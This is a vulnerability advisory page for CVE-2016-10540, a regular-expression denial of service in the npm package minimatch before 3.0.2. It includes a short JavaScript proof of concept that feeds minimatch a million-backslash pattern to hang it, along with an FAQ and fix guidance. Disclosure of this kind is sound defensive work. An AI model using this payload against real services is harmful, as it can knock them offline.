7.5
CWE
400 20
Advisory Published
Advisory Published
Updated

CVE-2016-10540: Input Validation

First published: Thu May 31 2018(Updated: )

Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`. ## Proof of Concept ```js var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ``` ## Recommendation Update to version 3.0.2 or later.

Credit: support@hackerone.com support@hackerone.com

Affected SoftwareAffected VersionHow to fix
npm/minimatch<3.0.2
3.0.2
Minimatch Project Minimatch Node.js<=3.0.1
<=10.0

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Parent vulnerabilities

(Appears in the following advisories)

Frequently Asked Questions

  • What is the vulnerability ID?

    The vulnerability ID is CVE-2016-10540.

  • What is the severity rating of CVE-2016-10540?

    CVE-2016-10540 has a severity rating of 7.5 (high).

  • What is the affected software for CVE-2016-10540?

    The affected software for CVE-2016-10540 is minimatch.

  • How is minimatch vulnerable to denial of service attacks?

    Minimatch is vulnerable to denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.

  • How can I fix CVE-2016-10540?

    To fix CVE-2016-10540, update minimatch to version 3.0.2.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203